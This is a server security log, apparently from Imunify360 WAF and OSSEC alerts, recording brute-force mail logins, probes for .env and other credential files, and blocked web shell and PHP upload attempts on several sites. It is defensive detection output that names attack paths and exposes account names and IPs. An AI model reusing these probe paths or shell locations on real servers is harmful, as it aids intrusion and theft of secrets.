2026-07-19 04:48:21 dovecot_login authenticator failed for H=(static.92.254.104.190.cps.com.ar) [59.145.160.134]:52488: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 5.62.22.6
country_id: 102358
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:index.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.62.203
country_id: 6252001
description:
2026-07-19 05:05:10 dovecot_login authenticator failed for H=wsip-68-225-62-203.pn.at.cox.net ([103.210.250.198]) [68.225.62.203]:49543: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-19 05:05:16 dovecot_login authenticator failed for H=([70.166.167.47]) [94.16.17.141]:35316: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-19 05:05:19 dovecot_login authenticator failed for H=([113.160.37.98]) [65.20.133.56]:57359: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-19 05:05:24 dovecot_login authenticator failed for H=([119.207.83.90]) [45.82.110.150]:35070: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-07-19 05:08:04 dovecot_login authenticator failed for H=(46-10-56-170.ip.btc-net.bg) [218.156.93.203]:53060: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-19 05:08:30 dovecot_login authenticator failed for H=([182.156.80.11]) [106.247.22.181]:55917: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 160.250.133.240
country_id: 1562822
description:
2026-07-19 05:09:07 H=([160.250.133.240]) [160.250.133.240]:62965 F=<freadmark@fmarkmorgan.com> rejected RCPT <info@globalgroupoman.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-19 05:12:27 dovecot_login authenticator failed for H=([222.75.225.206]) [112.161.26.125]:37394: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-19 05:16:29 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [1.250.67.190]:36450: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.184.65.81
country_id: 6252001
description:
2026-07-19 05:16:49 dovecot_login authenticator failed for H=wsip-70-184-65-81.oc.oc.cox.net ([95.70.116.228]) [70.184.65.81]:42222: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.107.158
country_id: 226074
description:
2026-07-19 05:16:49 dovecot_login authenticator failed for H=([121.202.205.173]) [196.0.107.158]:43564: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-19 05:16:59 dovecot_login authenticator failed for H=([72.207.33.65]) [182.95.101.182]:33938: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.101.138.172
country_id: 597427
description:
2026-07-19 05:17:17 dovecot_login authenticator failed for H=static-213-101-138-172.cust.tele2.lt ([121.171.95.112]) [213.101.138.172]:51628: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.39.242.115
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 buy Cartier with Bitcoin, <a href=\"https://satowatch.com\">https://satowatch.com</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.70.157.25
country_id: 6252001
description:
2026-07-19 05:26:40 dovecot_login authenticator failed for H=([184.178.172.12]) [152.70.157.25]:48530: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-19 05:26:59 dovecot_login authenticator failed for H=([208.109.38.143]) [118.220.149.121]:47308: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.80.114.38
country_id: 6252001
domain: www.stcinemas.co
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.stcinemas.co/images/2024/12/23/night-view.jpg HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.248.156.49
country_id: 1522867
description:
2026-07-19 05:30:16 dovecot_login authenticator failed for H=([14.35.209.208]) [109.248.156.49]:55842: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-19 05:31:54 dovecot_login authenticator failed for H=(red.138.118.213.204.ssservicios.com.ar) [122.186.249.6]:48506: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 172.236.101.180
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/s3cmd.ini||User:ogocindia||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.69.106
country_id: 6252001
description:
2026-07-19 05:36:40 dovecot_login authenticator failed for H=syn-075-080-069-106.biz.spectrum.com ([174.75.211.196]) [75.80.69.106]:41459: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-19 05:37:11 dovecot_login authenticator failed for H=([46.183.135.88]) [197.219.208.58]:48642: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.158.145.31
country_id: 2510769
description:
2026-07-19 05:37:12 dovecot_login authenticator failed for H=31.145.158.146.dynamic.jazztel.es ([49.125.201.87]) [146.158.145.31]:48087: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 172.236.101.180
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/config/.env.production||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 172.236.101.180
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/enviroments/.env.production||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.152.13.46
country_id: 289688
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-19 05:40:51 dovecot_login authenticator failed for H=([192.111.129.146]) [103.130.207.227]:39776: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-19 05:40:33 dovecot_login authenticator failed for H=(188-122-37-97.xdsl.5gdsl.com) [65.99.181.123]:43521: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-19 05:44:22 dovecot_login authenticator failed for H=([83.239.84.130]) [182.95.101.182]:34662: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.149
country_id: 2186224
description:
2026-07-19 05:44:45 dovecot_login authenticator failed for H=([178.177.40.47]) [121.73.169.149]:53738: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.197.130
country_id: 1269750
description:
2026-07-19 05:50:56 dovecot_login authenticator failed for H=([211.253.10.61]) [152.52.197.130]:36062: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.248.110
country_id: 2661886
description:
2026-07-19 05:51:09 dovecot_login authenticator failed for H=h83-209-248-110.cust.bredband2.com ([197.219.228.242]) [83.209.248.110]:51424: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.40.90.217
country_id: 286963
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e8358264 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-19 05:52:31 dovecot_login authenticator failed for H=([222.174.184.86]) [50.188.204.213]:51683: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-19 05:52:42 dovecot_login authenticator failed for H=([49.124.133.224]) [182.95.102.190]:50520: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-19 05:55:34 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net (h-176-10-203-54.A463.priv.bahnhof.se) [65.73.230.102]:52978: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-19 05:55:49 dovecot_login authenticator failed for H=([206.62.136.111]) [182.78.86.62]:44744: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 162.212.168.123
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://Casasquetecuentancosas.com/\">sboagen</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.231.101.88
country_id: 2661886
domain: yukticlick.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:yukticlick||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.165.91.5
country_id: 1269750
description:
2026-07-19 06:01:19 dovecot_login authenticator failed for H=([98.181.137.75]) [122.165.91.5]:59604: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-19 06:01:47 dovecot_login authenticator failed for H=([216.16.101.175]) [188.122.37.97]:36990: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.235.58.8
country_id: 357994
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/index.php HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-19 06:02:29 dovecot_login authenticator failed for H=([174.64.199.69]) [122.186.249.6]:44758: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.92
country_id: 1733045
description:
2026-07-19 06:02:47 dovecot_login authenticator failed for H=([173.91.46.151]) [49.125.201.92]:48858: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.158
country_id: 1269750
description:
2026-07-19 06:04:15 dovecot_login authenticator failed for H=(220-240-104-100.tpgi.com.au) [182.78.112.158]:43272: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.153
country_id: 1835841
description:
2026-07-19 06:05:05 dovecot_login authenticator failed for H=([189.109.225.201]) [121.131.220.153]:47122: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.124.254.98
country_id: 1835841
description:
2026-07-19 06:06:49 dovecot_login authenticator failed for H=(110-25-112-152.adsl.fetnet.net) [220.124.254.98]:60417: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-19 06:07:01 dovecot_login authenticator failed for H=(ipmapt-72-195-114-182.oc.oc.cox.net) [49.206.201.253]:59484: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.154.253.251
country_id: 2921044
domain: 103.185.74.189
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.205.214
country_id: 1835841
description:
2026-07-19 06:19:06 dovecot_login authenticator failed for H=([67.201.58.185]) [59.11.205.214]:55126: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.79.195
country_id: 337996
description:
2026-07-19 06:19:17 dovecot_login authenticator failed for H=([183.171.49.158]) [213.55.79.195]:59666: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77137283
name: IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)
abuser: 62.60.130.233
country_id: 130758
domain: metrodigitals.com
description:
IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)||MVN:ARGS_GET:rest_route||MV:/batch/v1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.33.7.122
country_id: 3175395
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1d3400121 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.77.49.131
country_id: 1269750
description:
2026-07-19 06:24:45 dovecot_login authenticator failed for H=([49.158.16.91]) [182.77.49.131]:42258: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-19 06:24:22 dovecot_login authenticator failed for H=([14.38.177.105]) [122.185.44.206]:43820: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-19 06:24:32 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl (customer104-242.grm.net) [89.67.39.124]:52309: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-19 06:24:34 dovecot_login authenticator failed for H=([85.12.248.68]) [102.210.148.41]:41748: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-19 06:26:27 dovecot_login authenticator failed for H=(49-0-82-0.24.fixed-public.sila1-bcr.myaisfibre.com) [122.187.221.130]:45122: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.167.250.45
country_id: 3686110
description:
2026-07-19 06:27:04 dovecot_login authenticator failed for H=([183.171.236.104]) [45.167.250.45]:45012: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-19 06:30:04 dovecot_login authenticator failed for H=([58.215.207.238]) [1.227.228.131]:32774: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.16
country_id: 2661886
description:
2026-07-19 06:35:56 dovecot_login authenticator failed for H=(adsl-90-150-93-151.jamal.ru) [188.126.240.16]:47834: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.2.70
country_id: 1835841
description:
2026-07-19 06:36:13 dovecot_login authenticator failed for H=([223.197.153.135]) [59.8.2.70]:59149: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.239.80.7
country_id: 1819730
description:
2026-07-19 06:36:27 dovecot_login authenticator failed for H=([62.36.19.41]) [182.239.80.7]:41370: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-07-19 06:36:52 dovecot_login authenticator failed for H=([72.207.33.65]) [88.215.1.201]:52987: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-19 06:37:41 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([181.205.51.99]) [176.10.203.54]:35710: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.83.26.237
country_id: 272103
description:
2026-07-19 06:37:50 dovecot_login authenticator failed for H=([78.25.127.206]) [80.83.26.237]:40187: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.192.54.219
country_id: 1835841
description:
2026-07-19 06:38:41 dovecot_login authenticator failed for H=([49.124.149.218]) [211.192.54.219]:55756: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 35.221.188.122
country_id: 1668284
domain: keralapeople.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.32||T:APACHE||MV:.env.swp||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.190.181.1
country_id: 1562822
description:
2026-07-19 06:39:15 dovecot_login authenticator failed for H=(111-70-33-194.emome-ip.hinet.net) [113.190.181.1]:59310: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 103.178.175.171
country_id: 1643084
domain: apkmetal.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/gecko_hlobht/fonts/gecko.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.221.188.122
country_id: 1668284
domain: keralapeople.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/z9x8c7v6b5-debug-trigger-keralapeople.com||User:keralapeople||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 103.178.175.171
country_id: 1643084
domain: yukticlick.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/gecko_nktazj/fonts/gecko.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.24
country_id: 1668284
description:
2026-07-19 06:41:52 dovecot_login authenticator failed for H=221-120-73-24.emome-ip.hinet.net ([125.61.5.74]) [221.120.73.24]:38317: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.67.3
country_id: 163843
description:
2026-07-19 06:42:16 dovecot_login authenticator failed for H=([202.111.183.254]) [205.209.67.3]:55352: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-19 06:45:01 dovecot_login authenticator failed for H=([222.97.195.179]) [49.206.201.253]:50266: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-19 06:45:47 dovecot_login authenticator failed for H=([156.232.58.127]) [61.79.170.117]:55034: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-19 06:46:39 dovecot_login authenticator failed for H=(189-109-85-61.customer.tdatabrasil.net.br) [171.244.60.35]:33896: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-19 06:46:55 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com ([94.183.59.33]) [94.255.255.26]:57190: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-19 06:46:58 dovecot_login authenticator failed for H=([111.70.7.254]) [103.83.23.169]:59078: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.144.24.198
country_id: 3017382
description:
2026-07-19 06:46:10 dovecot_login authenticator failed for H=([185.2.228.48]) [185.144.24.198]:56637: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.234.138.49
country_id: 6252001
description:
2026-07-19 06:46:21 dovecot_login authenticator failed for H=([180.165.4.111]) [47.234.138.49]:38454: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.69.106
country_id: 6252001
description:
2026-07-19 06:47:09 dovecot_login authenticator failed for H=syn-075-080-069-106.biz.spectrum.com ([46.138.254.1]) [75.80.69.106]:42269: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.33.247.46
country_id: 2077456
description:
2026-07-19 06:54:04 dovecot_login authenticator failed for H=27-33-247-46.tpgi.com.au ([192.111.129.146]) [27.33.247.46]:52609: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.9.222.197
country_id: 1835841
description:
2026-07-19 06:54:38 dovecot_login authenticator failed for H=([142.54.228.195]) [59.9.222.197]:62285: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-19 06:54:49 dovecot_login authenticator failed for H=(reverse.as200780.net) [74.209.100.246]:36330: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.59.80
country_id: 1835841
description:
2026-07-19 06:55:21 dovecot_login authenticator failed for H=(adsl-181-129-31-42.une.net.co) [119.192.59.80]:44957: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-19 06:55:30 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz ([113.25.249.100]) [83.208.70.70]:53790: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.40.244.153
country_id: 298795
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:84434.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4840603ec065f1c2f551fc5f5687858b9146ea9d||Title:0x4f6048b0||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.74.224.30
country_id: 1835841
description:
2026-07-19 07:04:19 dovecot_login authenticator failed for H=(76.pool90-160-117.dynamic.orange.es) [61.74.224.30]:56294: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-19 07:04:30 dovecot_login authenticator failed for H=([49.124.151.64]) [94.16.17.139]:60152: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.8.48.178
country_id: 1605651
description:
2026-07-19 07:09:23 dovecot_login authenticator failed for H=ppp-58-8-48-178.revip2.asianet.co.th (111-70-23-254.emome-ip.hinet.net) [58.8.48.178]:58389: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-19 07:09:48 dovecot_login authenticator failed for H=(nsg-corporate-113.199.185.122.airtel.in) [119.198.191.180]:38930: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-19 07:23:05 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [171.244.60.35]:39898: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.211.192
country_id: 1835841
description:
2026-07-19 07:23:45 dovecot_login authenticator failed for H=([118.26.153.102]) [112.164.211.192]:55440: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.249.76.219
country_id: 1269750
description:
2026-07-19 07:24:48 dovecot_login authenticator failed for H=([70.166.167.59]) [49.249.76.219]:46050: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.107.163.210
country_id: 1668284
description:
2026-07-19 07:24:56 dovecot_login authenticator failed for H=([101.13.5.195]) [106.107.163.210]:50558: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77562131
abuser: 45.205.29.178
country_id: 241170
domain: alnayza.com
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)||MVN:FILES:jform[attachment]||MV:ic_f3d0e354b5.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-19 07:25:57 dovecot_login authenticator failed for H=(nsg-corporate-73.251.187.122.airtel.in) [41.215.125.250]:41554: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 185.101.21.161
country_id: 241170
domain: metrodigitals.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.32||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.118.232.13
country_id: 6252001
description:
2026-07-19 07:31:00 dovecot_login authenticator failed for H=ool-4576e80d.dyn.optonline.net ([70.166.167.48]) [69.118.232.13]:50211: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.54.46.224
country_id: 357994
description:
2026-07-19 07:31:15 dovecot_login authenticator failed for H=([183.63.220.210]) [217.54.46.224]:44218: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-19 07:33:03 dovecot_login authenticator failed for H=([1.237.155.150]) [14.46.58.104]:46760: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.150.62
country_id: 99237
description:
2026-07-19 07:33:22 dovecot_login authenticator failed for H=([72.206.74.97]) [65.20.150.62]:57520: 535 Incorrect authentication data (set_id=support)


